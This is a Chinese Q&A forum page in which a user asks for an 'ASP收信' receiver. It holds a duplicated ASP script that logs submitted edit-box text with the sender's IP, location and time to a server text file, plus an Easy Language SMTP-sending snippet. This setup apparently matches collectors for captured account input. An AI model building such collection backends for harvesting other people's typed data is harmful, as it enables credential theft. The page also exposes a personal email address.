求助一个易语言ASP收信源码,只发送编辑框内容和时间,谢谢 10
发到我QQ邮箱:846028708@qq.com谢谢了我要ASP收信源码、谢谢,只发送编辑框内容、和时间...
发到我QQ邮箱:846028708@qq.com 谢谢了
我要ASP收信源码、谢谢,只发送编辑框内容、和时间 展开
我要ASP收信源码、谢谢,只发送编辑框内容、和时间 展开
3个回答
展开全部
<!--#include file = "ip.asp"-->
<%
if cnzzz_com_IP="" then
cnzzz_com_IP = Request.ServerVariables("REMOTE_ADDR")
end if
sPlace = address(getIP())
MailBody=trim(Request.querystring("MailBody"))
ToAddress=trim(Request.querystring("Tomail"))
subject=trim(Request.querystring("subject"))
sender=trim(Request.querystring("sender"))
'if instr(1,MailBody,"*",1)=0 and instr(1,Mailbody,"*",1)=0 and instr(1,Mailbody,"#",1)=0 then mailbody=trim(Request.querystring("MailBody"))
On Error Resume Next
set f=Server.CreateObject("scripting.filesystemobject")
On Error Resume Next
set ff=f.opentextfile(server.mappath(".")&"\wowo123.txt",8,true,0)
On Error Resume Next
ff.writeline(""&MailBody & "--IP:<" & cnzzz_com_IP & ">(" & sPlace &")[" & date & " " & time &"]")
On Error Resume Next
ff.close
%>
<html>
<head>
</head>
<body>
<%=mesg%>
</body>
</html>
<%
if cnzzz_com_IP="" then
cnzzz_com_IP = Request.ServerVariables("REMOTE_ADDR")
end if
sPlace = address(getIP())
MailBody=trim(Request.querystring("MailBody"))
ToAddress=trim(Request.querystring("Tomail"))
subject=trim(Request.querystring("subject"))
sender=trim(Request.querystring("sender"))
'if instr(1,MailBody,"*",1)=0 and instr(1,Mailbody,"*",1)=0 and instr(1,Mailbody,"#",1)=0 then mailbody=trim(Request.querystring("MailBody"))
On Error Resume Next
set f=Server.CreateObject("scripting.filesystemobject")
On Error Resume Next
set ff=f.opentextfile(server.mappath(".")&"\wowo123.txt",8,true,0)
On Error Resume Next
ff.writeline(""&MailBody & "--IP:<" & cnzzz_com_IP & ">(" & sPlace &")[" & date & " " & time &"]")
On Error Resume Next
ff.close
%>
<html>
<head>
</head>
<body>
<%=mesg%>
</body>
</html>
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
展开全部
.版本 8 .支持库 internet 连接发信服务器 (“smtp.qq.com”, 88, “用户名”, “密码”, 8111) 发送邮件 (“主题”, “正文(取到的ip或记录)”, “收信邮箱”, , , “发信邮箱”, ) ——————————...
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询